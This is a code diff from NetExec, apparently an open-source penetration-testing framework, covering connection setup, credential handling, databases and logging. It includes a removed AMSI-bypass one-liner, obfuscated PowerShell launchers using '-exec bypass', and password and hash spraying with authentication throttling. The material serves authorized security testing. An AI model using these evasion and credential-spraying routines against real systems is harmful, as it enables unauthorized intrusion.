self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
self.failed_logins = 0
|
||||
self.local_ip = None
|
||||
self.logger = nxc_logger
|
||||
|
||||
try:
|
||||
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
|
||||
if self.args.kerberos:
|
||||
self.host = self.hostname
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
except Exception as e:
|
||||
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
|
||||
# Network info
|
||||
self.domain = None
|
||||
self.host = None # IP address of the target. If kerberos this is the hostname
|
||||
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
|
||||
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
|
||||
self.kdcHost = self.args.kdcHost
|
||||
self.port = self.args.port
|
||||
self.local_ip = None
|
||||
self.dns_server = self.args.dns_server
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
if dns_result:
|
||||
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
|
||||
else:
|
||||
return
|
||||
|
||||
if args.jitter:
|
||||
jitter = args.jitter
|
||||
if "-" in jitter:
|
||||
start, end = jitter.split("-")
|
||||
jitter = (int(start), int(end))
|
||||
else:
|
||||
jitter = (0, int(jitter))
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
value = random.choice(range(jitter[0], jitter[1]))
|
||||
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
|
||||
sleep(value)
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except Exception as e:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
|
||||
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
|
||||
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
|
||||
else:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
finally:
|
||||
self.logger.debug(f"Closing connection to: {target}")
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.close()
|
||||
|
||||
def resolver(self, target):
|
||||
try:
|
||||
return get_host_addr_info(
|
||||
target=target,
|
||||
force_ipv6=self.args.force_ipv6,
|
||||
dns_server=self.args.dns_server,
|
||||
dns_tcp=self.args.dns_tcp,
|
||||
dns_timeout=self.args.dns_timeout
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.info(f"Error resolving hostname {target}: {e}")
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def proto_args(std_parser, module_parser):
|
||||
@@ -138,22 +206,16 @@ class connection:
|
||||
def create_conn_obj(self):
|
||||
return
|
||||
|
||||
def disconnect(self):
|
||||
return
|
||||
|
||||
def check_if_admin(self):
|
||||
return
|
||||
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
return
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
def plaintext_login(self, username, password):
|
||||
return
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
@@ -162,16 +224,20 @@ class connection:
|
||||
def proto_flow(self):
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj():
|
||||
if not self.create_conn_obj():
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
self.disconnect()
|
||||
|
||||
def call_cmd_args(self):
|
||||
"""Calls all the methods specified by the command line arguments
|
||||
@@ -200,7 +266,7 @@ class connection:
|
||||
It iterates over the modules specified in the command line arguments.
|
||||
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
|
||||
"""
|
||||
for module in self.module:
|
||||
for module in self.modules:
|
||||
self.logger.debug(f"Loading module {module.name} - {module}")
|
||||
module_logger = NXCAdapter(
|
||||
extra={
|
||||
@@ -356,12 +422,22 @@ class connection:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if isfile(ntlm_hash):
|
||||
with open(ntlm_hash) as ntlm_hash_file:
|
||||
for line in ntlm_hash_file:
|
||||
secret.append(line.strip())
|
||||
cred_type.append("hash")
|
||||
for i, line in enumerate(ntlm_hash_file):
|
||||
line = line.strip()
|
||||
if len(line) != 32 and len(line) != 65:
|
||||
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
|
||||
continue
|
||||
else:
|
||||
secret.append(line)
|
||||
cred_type.append("hash")
|
||||
else:
|
||||
secret.append(ntlm_hash)
|
||||
cred_type.append("hash")
|
||||
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
|
||||
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
|
||||
exit(1)
|
||||
else:
|
||||
secret.append(ntlm_hash)
|
||||
cred_type.append("hash")
|
||||
self.logger.debug(secret)
|
||||
|
||||
# Parse AES keys
|
||||
if self.args.aesKey:
|
||||
@@ -384,7 +460,9 @@ class connection:
|
||||
return domain, username, owned, secret, cred_type, [None] * len(secret)
|
||||
|
||||
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
|
||||
"""Try to login using the specified credentials and protocol.
|
||||
"""
|
||||
Try to login using the specified credentials and protocol.
|
||||
With --jitter an authentication throttle can be applied.
|
||||
|
||||
Possible login methods are:
|
||||
- plaintext (/kerberos)
|
||||
@@ -395,11 +473,21 @@ class connection:
|
||||
return False
|
||||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
if hasattr(self.args, "delegate") and self.args.delegate:
|
||||
self.args.kerberos = True
|
||||
|
||||
if self.args.jitter:
|
||||
jitter = self.args.jitter
|
||||
if "-" in jitter:
|
||||
start, end = jitter.split("-")
|
||||
jitter = (int(start), int(end))
|
||||
else:
|
||||
jitter = (0, int(jitter))
|
||||
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
|
||||
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
|
||||
sleep(value)
|
||||
|
||||
with sem:
|
||||
if cred_type == "plaintext":
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
self.logger.debug("Trying to authenticate using Kerberos")
|
||||
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
|
||||
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
|
||||
@@ -412,7 +500,7 @@ class connection:
|
||||
self.logger.debug("Trying to authenticate using plaintext")
|
||||
return self.plaintext_login(username, secret)
|
||||
elif cred_type == "hash":
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
|
||||
return self.hash_login(domain, username, secret)
|
||||
elif cred_type == "aesKey":
|
||||
@@ -459,6 +547,13 @@ class connection:
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
return False
|
||||
|
||||
if not self.args.no_bruteforce:
|
||||
for secr_index, secr in enumerate(secret):
|
||||
for user_index, user in enumerate(username):
|
||||
@@ -478,3 +573,12 @@ class connection:
|
||||
|
||||
def mark_pwned(self):
|
||||
return highlight(f"({pwned_label})" if self.admin_privs else "")
|
||||
|
||||
def load_modules(self):
|
||||
self.logger.info(f"Loading modules for target: {self.host}")
|
||||
loader = ModuleLoader(self.args, self.db, self.logger)
|
||||
self.modules = []
|
||||
|
||||
for module_path in self.module_paths:
|
||||
module = loader.init_module(module_path)
|
||||
self.modules.append(module)
|
||||
+1
-1
@@ -13,7 +13,7 @@ bh_enabled = False
|
||||
bh_uri = 127.0.0.1
|
||||
bh_port = 7687
|
||||
bh_user = neo4j
|
||||
bh_pass = neo4j
|
||||
bh_pass = bloodhoundcommunityedition
|
||||
|
||||
[Empire]
|
||||
api_host = 127.0.0.1
|
||||
|
||||
+147
@@ -0,0 +1,147 @@
|
||||
import configparser
|
||||
import shutil
|
||||
import sys
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from pathlib import Path
|
||||
from sqlite3 import connect
|
||||
from threading import Lock
|
||||
|
||||
from sqlalchemy import create_engine, MetaData
|
||||
from sqlalchemy.exc import IllegalStateChangeError
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
|
||||
|
||||
def open_config(config_path):
|
||||
try:
|
||||
config = configparser.ConfigParser()
|
||||
config.read(config_path)
|
||||
except Exception as e:
|
||||
print(f"[-] Error reading nxc.conf: {e}")
|
||||
sys.exit(1)
|
||||
return config
|
||||
|
||||
|
||||
def get_workspace(config):
|
||||
return config.get("nxc", "workspace")
|
||||
|
||||
|
||||
def set_workspace(config_path, workspace_name):
|
||||
config = open_config(config_path)
|
||||
config.set("nxc", "workspace", workspace_name)
|
||||
write_configfile(config, config_path)
|
||||
print(f"[*] Workspace set to {workspace_name}")
|
||||
|
||||
|
||||
def get_db(config):
|
||||
return config.get("nxc", "last_used_db")
|
||||
|
||||
|
||||
def write_configfile(config, config_path):
|
||||
with open(config_path, "w") as configfile:
|
||||
config.write(configfile)
|
||||
|
||||
|
||||
def init_protocol_dbs(workspace_name, p_loader=None):
|
||||
"""Check for each protocol if the database exists, if not create it."""
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
protocol_object.database.db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
"""
|
||||
Create a new workspace with the given name.
|
||||
|
||||
Args:
|
||||
----
|
||||
workspace_name (str): The name of the workspace.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if exists(path_join(WORKSPACE_DIR, workspace_name)):
|
||||
print(f"[-] Workspace {workspace_name} already exists")
|
||||
else:
|
||||
print(f"[*] Creating {workspace_name} workspace")
|
||||
mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
init_protocol_dbs(workspace_name, p_loader)
|
||||
|
||||
|
||||
def delete_workspace(workspace_name):
|
||||
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
|
||||
print(f"[*] Workspace {workspace_name} deleted")
|
||||
|
||||
|
||||
def initialize_db():
|
||||
if not exists(path_join(WORKSPACE_DIR, "default")):
|
||||
create_workspace("default")
|
||||
|
||||
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
|
||||
init_protocol_dbs("default")
|
||||
|
||||
|
||||
class BaseDB:
|
||||
def __init__(self, db_engine):
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
session = scoped_session(session_factory)
|
||||
self.sess = session()
|
||||
self.lock = Lock()
|
||||
|
||||
def reflect_tables(self):
|
||||
raise NotImplementedError("Reflect tables not implemented")
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.db_execute(table.delete())
|
||||
|
||||
def db_execute(self, *args):
|
||||
self.lock.acquire()
|
||||
res = self.sess.execute(*args)
|
||||
self.lock.release()
|
||||
return res
|
||||
+2
-2
@@ -3,7 +3,7 @@ from os.path import exists
|
||||
from os.path import join as path_join
|
||||
import shutil
|
||||
from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
|
||||
from nxc.nxcdb import initialize_db
|
||||
from nxc.database import initialize_db
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
@@ -29,7 +29,7 @@ def first_run_setup(logger=nxc_logger):
|
||||
logger.display(f"Creating missing folder {folder}")
|
||||
mkdir(path_join(NXC_PATH, folder))
|
||||
|
||||
initialize_db(logger)
|
||||
initialize_db()
|
||||
|
||||
if not exists(CONFIG_PATH):
|
||||
logger.display("Copying default configuration file")
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
|
||||
|
||||
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
def _get_help_string(self, action):
|
||||
help_string = action.help
|
||||
if "%(default)" not in action.help and action.default is not SUPPRESS:
|
||||
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
|
||||
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
|
||||
help_string += " (default: %(default)s)" # NORUFF
|
||||
return help_string
|
||||
@@ -52,14 +52,12 @@ def add_user_bh(user, domain, logger, config):
|
||||
_add_with_domain(user_info, domain, tx, logger)
|
||||
except AuthError:
|
||||
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
|
||||
return
|
||||
except ServiceUnavailable:
|
||||
logger.fail(f"Neo4J does not seem to be available on {uri}.")
|
||||
return
|
||||
except Exception as e:
|
||||
logger.fail(f"Unexpected error with Neo4J: {e}")
|
||||
return
|
||||
driver.close()
|
||||
finally:
|
||||
driver.close()
|
||||
|
||||
|
||||
def _add_with_domain(user_info, domain, tx, logger):
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
+45
-53
@@ -12,6 +12,20 @@ import random
|
||||
|
||||
obfuscate_ps_scripts = False
|
||||
|
||||
def replace_singles(s):
|
||||
"""Replaces single quotes with a double quote
|
||||
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
|
||||
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
|
||||
|
||||
Args:
|
||||
----
|
||||
s (str): The string to replace single quotes in.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: Original string with single quotes replaced with double.
|
||||
"""
|
||||
return s.replace("'", r"\"")
|
||||
|
||||
def get_ps_script(path):
|
||||
"""Generates a full path to a PowerShell script given a relative path.
|
||||
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script):
|
||||
|
||||
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
|
||||
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
|
||||
"""
|
||||
Generates a PowerShell command based on the provided `ps_command` parameter.
|
||||
|
||||
Args:
|
||||
----
|
||||
ps_command (str): The PowerShell command to be executed.
|
||||
|
||||
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
|
||||
|
||||
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
|
||||
|
||||
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
|
||||
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
|
||||
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The generated PowerShell command.
|
||||
"""
|
||||
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
|
||||
|
||||
if custom_amsi:
|
||||
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
|
||||
with open(custom_amsi) as file_in:
|
||||
lines = list(file_in)
|
||||
amsi_bypass = "".join(lines)
|
||||
else:
|
||||
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
try{
|
||||
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
|
||||
}catch{}
|
||||
"""
|
||||
|
||||
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
|
||||
amsi_bypass = ""
|
||||
|
||||
# for readability purposes, we do not do a one-liner
|
||||
if force_ps32: # noqa: SIM108
|
||||
# https://stackoverflow.com/a/60155248
|
||||
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
|
||||
else:
|
||||
command = f"{amsi_bypass} {ps_command}"
|
||||
|
||||
nxc_logger.debug(f"Generated PS command:\n {command}\n")
|
||||
|
||||
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
|
||||
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
|
||||
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
|
||||
# (https://github.com/GreatSCT/GreatSCT) <3
|
||||
|
||||
"""
|
||||
if is_powershell_installed():
|
||||
|
||||
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
|
||||
suffix='.ps1',
|
||||
dir='/tmp')
|
||||
temp.write(command)
|
||||
temp.read()
|
||||
|
||||
encoding_types = [1,2,3,4,5,6]
|
||||
while True:
|
||||
encoding = random.choice(encoding_types)
|
||||
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
|
||||
temp.name,
|
||||
encoding)
|
||||
nxc_logger.debug(invoke_obfs_command)
|
||||
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
|
||||
|
||||
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
|
||||
nxc_logger.debug('Command length: {}'.format(len(command)))
|
||||
|
||||
if len(command) <= 8192:
|
||||
temp.close()
|
||||
break
|
||||
|
||||
encoding_types.remove(encoding)
|
||||
|
||||
else:
|
||||
"""
|
||||
if not dont_obfs:
|
||||
if obfs:
|
||||
nxc_logger.debug("Obfuscating PowerShell command")
|
||||
obfs_attempts = 0
|
||||
while True:
|
||||
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
|
||||
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
|
||||
obfs_command = invoke_obfuscation(command)
|
||||
|
||||
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
|
||||
if len(command) <= 8191:
|
||||
break
|
||||
|
||||
if obfs_attempts == 4:
|
||||
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
|
||||
exit(1)
|
||||
|
||||
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
|
||||
obfs_attempts += 1
|
||||
else:
|
||||
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
|
||||
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
|
||||
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
|
||||
command = f"powershell.exe -noni -nop -w 1 {command}"
|
||||
|
||||
if len(command) > 8191:
|
||||
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
nxc_logger.debug(f"Final command: {command}")
|
||||
return command
|
||||
|
||||
|
||||
@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string):
|
||||
-------
|
||||
str: The obfuscated payload for execution.
|
||||
"""
|
||||
nxc_logger.debug(f"Command before obfuscation: {script_string}")
|
||||
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
|
||||
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
|
||||
|
||||
@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string):
|
||||
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
|
||||
]
|
||||
|
||||
return choice(invoke_options)
|
||||
obfuscated_script = choice(invoke_options)
|
||||
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
|
||||
return obfuscated_script
|
||||
|
||||
@@ -24,6 +24,9 @@ class ModuleLoader:
|
||||
if not hasattr(module, "name"):
|
||||
self.logger.fail(f"{module_path} missing the name variable")
|
||||
module_error = True
|
||||
elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
|
||||
self.logger.fail(f"{module_path} filename must match the module name {module.name}")
|
||||
module_error = True
|
||||
elif not hasattr(module, "description"):
|
||||
self.logger.fail(f"{module_path} missing the description variable")
|
||||
module_error = True
|
||||
@@ -92,7 +95,7 @@ class ModuleLoader:
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name.lower()}": {
|
||||
f"{module_spec.name}": {
|
||||
"path": module_path,
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
|
||||
+101
-71
@@ -4,12 +4,83 @@ from logging.handlers import RotatingFileHandler
|
||||
import os.path
|
||||
import sys
|
||||
import re
|
||||
from nxc.helpers.misc import called_from_cmd_args
|
||||
from nxc.console import nxc_console
|
||||
from nxc.paths import NXC_PATH
|
||||
from termcolor import colored
|
||||
from datetime import datetime
|
||||
from rich.text import Text
|
||||
from rich.logging import RichHandler
|
||||
import functools
|
||||
import inspect
|
||||
import argparse
|
||||
|
||||
|
||||
def parse_debug_args():
|
||||
debug_parser = argparse.ArgumentParser(add_help=False)
|
||||
debug_parser.add_argument("--debug", action="store_true")
|
||||
debug_parser.add_argument("--verbose", action="store_true")
|
||||
args, _ = debug_parser.parse_known_args()
|
||||
return args
|
||||
|
||||
|
||||
def setup_debug_logging():
|
||||
debug_args = parse_debug_args()
|
||||
root_logger = logging.getLogger("root")
|
||||
|
||||
if debug_args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif debug_args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
|
||||
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
|
||||
temp_logger = logging.getLogger("temp")
|
||||
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
|
||||
handler = SmartDebugRichHandler(formatter=formatter)
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
|
||||
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
|
||||
|
||||
def __init__(self, formatter=None, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
if formatter is not None:
|
||||
self.setFormatter(formatter)
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
|
||||
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
|
||||
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
record.lineno = frame_info.lineno
|
||||
super().emit(record)
|
||||
|
||||
|
||||
def no_debug(func):
|
||||
"""Stops logging non-debug messages when we are in debug mode
|
||||
It creates a temporary logger and logs the message to the console and file
|
||||
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
|
||||
"""
|
||||
@functools.wraps(func)
|
||||
def wrapper(self, msg, *args, **kwargs):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
return func(self, msg, *args, **kwargs)
|
||||
else:
|
||||
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
|
||||
caller_frame = inspect.currentframe().f_back
|
||||
create_temp_logger(caller_frame, formatted_text, args, kwargs)
|
||||
self.log_console_to_file(formatted_text, *args, **kwargs)
|
||||
return wrapper
|
||||
|
||||
|
||||
class NXCAdapter(logging.LoggerAdapter):
|
||||
@@ -17,21 +88,22 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
handlers=[
|
||||
RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False,
|
||||
)
|
||||
],
|
||||
handlers=[RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)],
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
self.output_file = None
|
||||
|
||||
logging.getLogger("impacket").disabled = True
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
